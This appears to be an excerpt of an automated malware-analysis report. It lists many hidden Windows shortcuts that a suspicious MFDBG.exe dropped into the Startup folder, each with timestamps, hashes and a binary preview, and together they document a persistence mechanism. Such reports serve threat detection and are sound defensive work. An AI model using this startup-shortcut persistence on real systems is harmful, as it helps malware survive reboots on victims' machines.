Preview:	L..................F...."...]W%.{...y...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...6...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c6d9721842fa4795b560cdfc31b3fc05.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939346733943593
Encrypted:	false
SSDEEP:	24:8P2hBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8PcC0R6rMhpBoUBxdRd1nYyg
MD5:	54890A3096167075C470ACB3283ABB94
SHA1:	08643F17A6410FBB955BF7E11908638B5C194559
SHA-256:	3DC67502AD6C6E3C616359121339DB3C70232F180FA8B511FE562FEC3E34C1F9
SHA-512:	A75CB468C3D639F787D934CB29EF3F9A6D314D762597407A75DE0207065DF4025DA0C1070A2522A8A852A671C703CF7649B1717C3BF0567EB5F18A3CCBAD711F
Malicious:	false
Preview:	L..................F...."...]W%.{.....6.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s#.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c6ef5d4e08644bfdaaf54d99c1048004.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9433180658521865
Encrypted:	false
SSDEEP:	24:8JhBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Jh0R6rMhpBoUBxdRd1nYyg
MD5:	F97D3C2D886F9012DE08D7051405C1C4
SHA1:	DCB1875834E97F3E8B24984AA2B7D285FBA5907A
SHA-256:	A8D305DBF85A6C872D05DC53DFEE164A410CD4DFDDD54F0919A7B4A8466C3213
SHA-512:	34C615EA40E21826566E9C7925A079032B9E31F41BF498E7C3E787A41671D716A2BD74485B021AF41FF135969665B68779F4FD35E22858C779DE1D17ED700F8E
Malicious:	false
Preview:	L..................F...."...]W%.{......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...O1..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c72640d80e024c3093041efed84190ae.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941367207968362
Encrypted:	false
SSDEEP:	24:8ohBf/8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8qM0R6rMhpBoUBxdRd1nYyg
MD5:	F6B878EFBEC9C81C3A5B7ABE4930EF27
SHA1:	122E181B18327AE2849938EECB2CB035189469E4
SHA-256:	E4DB6A5A67D408CD0E10E39478E318B249ADA4AE55072199F599B1C68C5C525C
SHA-512:	D511D7CF2AA23E28C0D0A2858FFD3417AEBA9477D8EC2A338F2252B27AD36BF2A24DEB4884B4DF83E4D4D0A27784204E0316A797ADC6CB6B8EF27B2081E7016A
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c7bb7a50a6aa470ba259858720d316a4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935604508581558
Encrypted:	false
SSDEEP:	24:8d8hBf38iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8I00R6rMhpBoUBxdRd1nYyg
MD5:	4172A9D0A7213BC93E4395F847FE848F
SHA1:	80A4DEDFAB147BD5BF1C5A51657C31AC7BF5B56A
SHA-256:	2BA2351DFFDD5EB22CA100679E8B280E4642F33692DF73D27CE8054AC309DE37
SHA-512:	2CBF5CCBA102323B04ACF76FBD04BEF064864057CB9877895264D29901DEDAE38434E4C9DAD1A0E05770F50BC06D3510ED47C6D73F5620ECC9E275914D52CF05
Malicious:	false
Preview:	L..................F...."...]W%.{....&.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....1..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c84a59c801344e36b1b454faf359f0ca.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944150186448754
Encrypted:	false
SSDEEP:	24:8CrhBfk8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8CPp0R6rMhpBoUBxdRd1nYyg
MD5:	6B939D686DE66172BB17EC29ED109495
SHA1:	4A2183619FCFBB43689EBA5549D5132660C2FFBF
SHA-256:	AFCF68F70CEA276FA1B4B566CA9723373438DCA0739031AC191112098324A7AF
SHA-512:	C8033F61120198B6B0EDD5A54FA8CDA49836C463AC9AE6FD04153F98989664214CF38FB222CCED42451CF1D6298248392D2CD05DB007010571C8A27CF1635609
Malicious:	false
Preview:	L..................F...."...]W%.{....q..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c8948a144fa94fd89a26f0fd5e8662d5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:13 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944494115546166
Encrypted:	false
SSDEEP:	24:8ehBfGK8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:80un0R6rMhpBoUBxdRd1nYyg
MD5:	6FB04379FF7F27B0813AC942CD96ED2D
SHA1:	633DBFFA1117CABA9FCF3D9865665CDD283619AB
SHA-256:	C00164E213CED240BF58CCAFF2A2450C545B86991A2983FFB1CBC60C4E679D65
SHA-512:	0B947FACCFA72C1E6A05EED213FD11A2744006CCADF5DF80BE05216AC326E283623861AEBBA2921C3D7BD4A209837199F2C43BCE0D6F497EDB240DBAAFF8529E
Malicious:	false
Preview:	L..................F...."...]W%.{.....L.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....E.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c8a0ac06d84c4932976a633c0127b383.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944706956885539
Encrypted:	false
SSDEEP:	24:8sn8hBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8sOa0R6rMhpBoUBxdRd1nYyg
MD5:	00688A750358DCA37BC99A3980357C19
SHA1:	768787E326625AE8E331BDF39B5ED7E5ED15E0F0
SHA-256:	6DA2DCAFF624A10BAEB98A11F029CC1B17BFBADBAEC21C1375740B79BD7D14B4
SHA-512:	BBB12D654107EEC741AFD29CA80D5FD4D1C673251E2F91A780B3B8B3CC91BE26808126F275D48E15BDC6CA78F8ECEACC8935C69DD23F0AFAF868E61DC32FCEA3
Malicious:	false
Preview:	L..................F...."...]W%.{...K...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c918a05284ab40aabd80aca24da504eb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936524616376461
Encrypted:	false
SSDEEP:	24:8ShBfTl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8YW0R6rMhpBoUBxdRd1nYyg
MD5:	760BE7A44F185220955C0B3DD0964CE9
SHA1:	7FF5A44301D149F6A5878AE57E2732A9ACE2685D
SHA-256:	C94B2159B1B3C32FF0005D211A15896583D9584080DE55E08D74F7DA37530E9B
SHA-512:	8459032883DC50F553BA9CDA91EC84B6EEA4D84EC21CDA334198183771C2CC4D2D70A473D04F0BF8653747531462BD066ECAEFC6FC42FBC1D057EFEB07D2AE51
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...*L..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ca6279c90497473da9eeaf052027a05f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9374025568366795
Encrypted:	false
SSDEEP:	24:8SShBfi8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8SYn0R6rMhpBoUBxdRd1nYyg
MD5:	979AC66D86828981826B1208BA549629
SHA1:	FB0EA32797D4B6BA24BC802858DE4AA5EE1E76EF
SHA-256:	414260FAFE7C95340ECD2FB58767DD2C462949CBEEDE49ED8E187779D1B22914
SHA-512:	AB06CF6D7A260613E14389633505AD384DB9BE21DA4287719194A6E9308AF3C28B2BDB6EF899ACDC0E510585C00D679BEF5CE98D3C2DB8ED87C3AB1870935C2B
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...t.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ca6dfc71008f4746a0658b4d5bd44cf6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944275040589791
Encrypted:	false
SSDEEP:	24:8DhBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:83p0R6rMhpBoUBxdRd1nYyg
MD5:	58AF5BC5ED1DAADCDA2B332149478456
SHA1:	1191BE7C016E6C36CFF1A5203D3173BC7D9D95AD
SHA-256:	E245AFB1DC41F863D5C367AE6F545CD3A07AE40A4A3BB7234D680C0430AC92D7
SHA-512:	121E46EFA38FDAC314FE25D6197A80A049BB6E6E6527AAE46F9AFDC0696900D4677E952F819BC9791E9D1211BCE6826BB23005D6464BF25E764C8DA61963431E
Malicious:	false
Preview:	L..................F...."...]W%.{....$..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ca8f37c74491461fb1029e469a342984.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9419050353599285
Encrypted:	false
SSDEEP:	24:85hBfC8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Zn0R6rMhpBoUBxdRd1nYyg
MD5:	D998CD149976093ED97E54B20479B201
SHA1:	7884E76DB1776371EDFF5C2F973E9647DF9C4D39
SHA-256:	B99B963946F60849DE90F75245E2F6397570DE1309965B51A62254DF18034FAB
SHA-512:	8A635E1B86732461CDC31E659BB7221AB59C2689833199F9A7A8431818444D1315B5DC2B10BBB4E39E334107779A0F87D15A29E3566B33D0F6845D52965C547A
Malicious:	false
Preview:	L..................F...."...]W%.{...2...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cae2bb32b24a467bb47cab04b2ac7109.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939076684175792
Encrypted:	false
SSDEEP:	24:8CS2hBfE8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8CNJ0R6rMhpBoUBxdRd1nYyg
MD5:	BC6E5AE5210185B26BCD45878B857FC2
SHA1:	C929332B665F8C8CF80645E9E1D3A049982E654C
SHA-256:	35B95FBB737CAD3229A3DF1BE93B2CD384D1AE1A16E211BD823FE11C54200E04
SHA-512:	2C3F05111A089BAD235937EFBE455B04D6E380822A8AEE71FF8D4659AFA504604406637CB8D10E68A77C1811BE9B4F742D3B8F1C55E7CDA43BD650755F73144F
Malicious:	false
Preview:	L..................F...."...]W%.{....t..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...$...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_caefef7d34ca43d18364ce8fa3e1d1f2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934711381583383
Encrypted:	false
SSDEEP:	24:8shBfA8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8e90R6rMhpBoUBxdRd1nYyg
MD5:	B421C844AD0ED48E4005EE6991773D5E
SHA1:	2AF9F49BC808E7F1FDBE09721A841E735119282F
SHA-256:	3C0B185D415643F9FA65587C6A349837DEAB8B30BF1C7312CE8E436ADA2FCC41
SHA-512:	6FC1B82222D3363F0E70707A5CDCA29329A0BC5BF8A0F7D0CCFBA054295819110B932019CFAB8D2E55E456BDE270F96B7078B21EA9D9437CDEFD81319A407EB4
Malicious:	false
